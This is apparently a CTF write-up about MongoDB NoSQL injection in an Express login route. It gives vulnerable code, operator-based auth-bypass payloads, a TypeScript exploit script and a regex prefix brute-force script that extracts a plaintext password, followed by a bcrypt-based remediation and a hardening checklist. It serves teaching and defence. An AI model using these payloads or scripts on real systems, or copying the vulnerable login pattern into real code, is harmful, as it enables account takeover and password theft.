> Shallow Query, Deep Trouble: MongoDB NoSQL Injection_
Quote:Quick TL;DR: an Express app accepted JSON from the client and passed it straight into a Mongo
findOne()
search for{ username, password }
. Passwords were stored in plaintext. That combo is an invitation to NoSQL injection and trivial auth bypass. Don’t be that developer.
## Tech context — the usual MERN mess
This challenge uses a typical MERN setup:
- >MongoDB for persistence (JSON-like queries).
- >Express as the server/API layer.
- >React or any JS frontend that sends JSON to the API.
- >Often
bodyParser.json()
/express.json()
on the server so the API receives JS objects directly.
Why this matters: MongoDB queries are JSON-like objects. If the server blindly re-uses client-supplied objects (or properties) as query filters, the client can send query operators ($ne
, $gt
, $where
, $regex
, etc.) instead of plain values. Those operators change the meaning of the query and let attackers bypass checks.
Common mistakes
- >Trusting client-sent JSON structure (e.g., objects with
$ne
,$gt
). - >Storing passwords in plaintext for "speed".
- >No server-side validation or type enforcement.
Result: attackers craft payloads that change the query semantics or bypass checks entirely.
## Vulnerable example (what we found)
Minimal, readable, and insecure. Copy-paste it and expect consequences.
terminal// vulnerable.js (Express + native Mongo driver example) const express = require('express'); const { MongoClient } = require('mongodb'); const app = express(); app.use(express.json()); const client = new MongoClient('mongodb://localhost:27017'); let db; client.connect().then(() => { db = client.db('ctf'); }); // Very simple auth route — DON'T do this app.post('/login', async (req, res) => { const { username, password } = req.body; // TRUSTING the client — big mistake // Danger: passing client-provided values directly into the query // If username or password is an object, Mongo will interpret operators. const user = await db.collection('users').findOne({ username, password }); if (!user) return res.status(401).send('Invalid creds'); return res.send('Welcome ' + user.username); }); app.listen(3000);
### Why this is bad (line-by-line)
- >
req.body
comes from the client. It can be anything: string, object, array. - >
findOne({ username, password })
expectsusername
andpassword
to be primitive values (strings). But if the attacker sends objects with Mongo operators, the DB interprets them and the query semantics change. - >Passwords stored in plaintext mean the server just compares raw user input to stored text — no hashing, no salt, no defenses.
## Example NoSQL injection payloads & what they do
- >Bypass authentication by returning any user
terminal{ "username": { "$ne": null }, "password": { "$ne": null } }
- >
$ne: null
means "not equal to null" — both fields match, sofindOne
will return the first user in the collection. Auth bypass.
- >Target admin explicitly
terminal{ "username": { "$eq": "admin" }, "password": { "$ne": null } }
- >If an
admin
user exists, this fetches them without needing the real password.
- >Regex trick
terminal{ "username": { "$regex": ".*", "$options": "s" }, "password": { "$regex": ".*", "$options": "s" } }
- >Matches anything — same effect as
$ne: null
.
Why these work: MongoDB treats keys starting with $
as operators. If the server hands an object containing those operators to findOne
, the database executes them — exactly what an attacker wants.
## How we exploited this in the CTF (brief)
- >Intercepted the request the frontend sent to
/login
. - >Replaced the JSON body with
{ "username": { "$ne": null }, "password": { "$ne": null } }
. - >Server returned a user document — authenticated as the first account.
- >With plaintext passwords, escalation or lateral movement was trivial.
No magic. Just bad assumptions.
## Fix it — practical, production-ready remediation
You must (A) validate and coerce input to safe primitives, (B) never store plaintext passwords, and (C) never allow client-provided objects to dictate query structure.
Below is a secure pattern using Mongoose, express-validator, and bcrypt.
terminal// secure.js (Express + Mongoose + express-validator + bcrypt) const express = require('express'); const mongoose = require('mongoose'); const { body, validationResult } = require('express-validator'); const bcrypt = require('bcrypt'); const app = express(); app.use(express.json()); mongoose.connect('mongodb://localhost:27017/ctf', { useNewUrlParser: true, useUnifiedTopology: true }); const userSchema = new mongoose.Schema({ username: { type: String, required: true, unique: true, trim: true }, passwordHash: { type: String, required: true, select: false } // do not return password by default }); const User = mongoose.model('User', userSchema); // Registration example (hash password before storing) app.post('/register', body('username').isString().isLength({ min: 3, max: 64 }), body('password').isString().isLength({ min: 8 }), async (req, res) => { const errors = validationResult(req); if (!errors.isEmpty()) return res.status(400).json({ errors: errors.array() }); const username = String(req.body.username).trim(); const password = String(req.body.password); const passwordHash = await bcrypt.hash(password, 12); await User.create({ username, passwordHash }); res.status(201).send('User created'); } ); // Secure login app.post('/login', body('username').isString().isLength({ min: 3, max: 64 }), body('password').isString().isLength({ min: 8 }), async (req, res) => { // 1) Validate client input — ensures values are primitives (strings), not objects const errors = validationResult(req); if (!errors.isEmpty()) return res.status(400).json({ errors: errors.array() }); // 2) Coerce to string (defensive) const username = String(req.body.username).trim(); const password = String(req.body.password); // 3) Fetch user by username ONLY — don't pass the whole req.body into the query const user = await User.findOne({ username }).select('+passwordHash'); if (!user) return res.status(401).send('Invalid credentials'); // 4) Compare hashed password const ok = await bcrypt.compare(password, user.passwordHash); if (!ok) return res.status(401).send('Invalid credentials'); // 5) Issue session token / JWT etc. res.send('Authenticated'); } );
### Why this is safe
- >
express-validator
rejects non-string values — prevents objects (and thus operator injection). - >We coerce values with
String(...)
as a second line of defense. - >Query uses
{ username }
whereusername
is a primitive string; Mongo will not interpret operators. - >Passwords are hashed with
bcrypt
— comparing hashes prevents trivial leakage or reuse. - >Mongoose schema enforces types at the model layer too.
## Extra hardening (short checklist)
- >Schema enforcement: Use Mongoose (or a strict schema layer) so DB expects specific types.
- >Input validation: Use server-side validation (never trust client checks).
- >Type coercion: Immediately coerce/validate every request field.
- >Reject objects where strings are expected:
if (typeof req.body.username !== 'string') return 400
— explicit beats implicit. - >Rate limit login attempts to slow brute force.
- >Use helmet, CSP, secure cookies for overall app security.
- >Log suspicious inputs (like inputs with
$
keys) and alert. - >Never store plaintext passwords. Use
bcrypt
(or argon2) and a reasonable cost factor. - >Principle of least privilege: App DB user should not have permissions beyond what's necessary.
## Short developer checklist (what to fix today)
- >Add server-side validation and strict type checks.
- >Replace plaintext password storage with
bcrypt
hashing. - >Change login flow to
findByUsername + bcrypt.compare()
(don’t query by password). - >Sanitize inputs and reject objects where a primitive is expected.
- >Add logging & alerts for attempts that include
$
operators or unexpected types.
## Additional: The exact exploit we used (CTF-only)
During the challenge the successful payload was simple and boring: authenticate as an existing user (admin
) by abusing MongoDB operators in the password
field. The payload we used in the test harness was:
terminal{ "username": "admin", "password": { "$regex": "bruteforce" } }
This matches any password
that contains the substring bruteforce
(or whatever pattern you place there). In our CTF environment the first admin
account matched and the server returned the user document — because the server passed the object straight into findOne()
.
Important legal / ethical note: Only run exploit code against systems you own or are explicitly authorized to test (CTF platforms, your lab, or systems with written permission). Unauthorized testing is illegal and unethical.
### Example TypeScript test script (Node) — for authorized CTF/lab use only
Below is a minimal TypeScript script that demonstrates how we automated sending the payload to the /login
endpoint using fetch
. This is intended for a local CTF lab or an isolated test environment only.
terminal// exploit.ts (run with ts-node in a safe/authorized lab) // npm i node-fetch@2 @types/node-fetch --save-dev if needed import fetch from 'node-fetch'; async function tryExploit() { const url = 'http://localhost:3000/login'; const body = { username: 'admin', password: { "$regex": "bruteforce" } // operator-based payload }; try { const res = await fetch(url, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(body) }); const text = await res.text(); console.log('Status:', res.status); console.log('Response:', text); } catch (err) { console.error('Request failed:', err); } } tryExploit();
What this demonstrates
- >The client-side JSON includes a Mongo operator object for
password
. - >The server (if vulnerable) will interpret that and may return a user document even without the real password.
- >This script automates a single request; in a CTF you might iterate different patterns, but do not run brute-force or high-volume attacks against networks you do not control.
## Final step: the flag was the admin password (base62 brute-force)
Turns out the flag was stored as the admin
user's password. It was a short Base62 string (characters from 0-9
, A-Z
, a-z
). Because the vulnerable endpoint allowed operator-based queries, we could enumerate the password one character at a time using regex prefix checks. In short: use the server as an oracle — send { "username": "admin", "password": { "$regex": "^<prefix>" } }
and if the response contains the user, the prefix is correct.
### Why prefix bruteforce works here
- >The database query used the client-supplied object directly in
findOne()
. - >Using a regex like
^abc
matches any password starting withabc
. - >If the DB returns the admin user, you know the current prefix is valid.
- >Repeating this for each character and extending the prefix lets you discover the full password without ever knowing the real hash (since passwords were plaintext).
Base62 alphabet
terminal0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
### Safe, minimal TypeScript prefix-bruteforce script (authorized CTF use only)
This script demonstrates the technique: it tries each character in the alphabet, uses a ^prefix
regex to test whether that prefix matches the stored password, and appends the successful character to the current prefix. It assumes the server responds with a non-401 status (or returns user data) when the regex matches.
terminal// brute_prefix.ts (authorized CTF/lab use only) // npm i node-fetch@2 @types/node-fetch --save-dev import fetch from 'node-fetch'; const url = 'http://localhost:3000/login'; const alphabet = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'; async function testPrefix(prefix: string) { const body = { username: 'admin', password: { "$regex": `^${prefix}` } }; const res = await fetch(url, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(body), }); // Interpret the server response: success means prefix matched (vulnerable server behavior). // Adjust logic depending on the app (status codes, response body, etc.) return res.status !== 401; // simple heuristic: non-401 -> match } async function findPassword(maxLen = 32) { let prefix = ''; for (let i = 0; i < maxLen; i++) { let found = false; for (const ch of alphabet) { const attempt = prefix + ch; process.stdout.write(`Trying: ${attempt}\r`); const ok = await testPrefix(attempt); if (ok) { prefix = attempt; console.log(`\nFound char: ${ch} -> prefix now: ${prefix}`); found = true; break; } // small delay to be polite in lab environments await new Promise(r => setTimeout(r, 50)); } if (!found) { console.log('\nNo further chars found — stopping.'); break; } } console.log('Final password guess:', prefix); return prefix; } (async () => { console.log('Starting prefix bruteforce (authorized CTF use only)'); await findPassword(16); // limit to reasonable length })();
### Notes & ethics
- >This method is only for authorized testing (CTFs, your lab, or systems with explicit permission).
- >Respect rate limits — add delays and stop if you see server errors.
- >If the app responds differently (e.g., always returns 200), adapt the success detection logic to inspect response bodies.
- >The
maxLen
parameter prevents infinite loops and bounds the attack.
## Closing — tell it like it is
If your login endpoint looks like the vulnerable example above, assume compromise is trivial. The fix is straightforward: validate, coerce, hash, and stop trusting the client. The database isn't the villain — handing it untrusted objects is.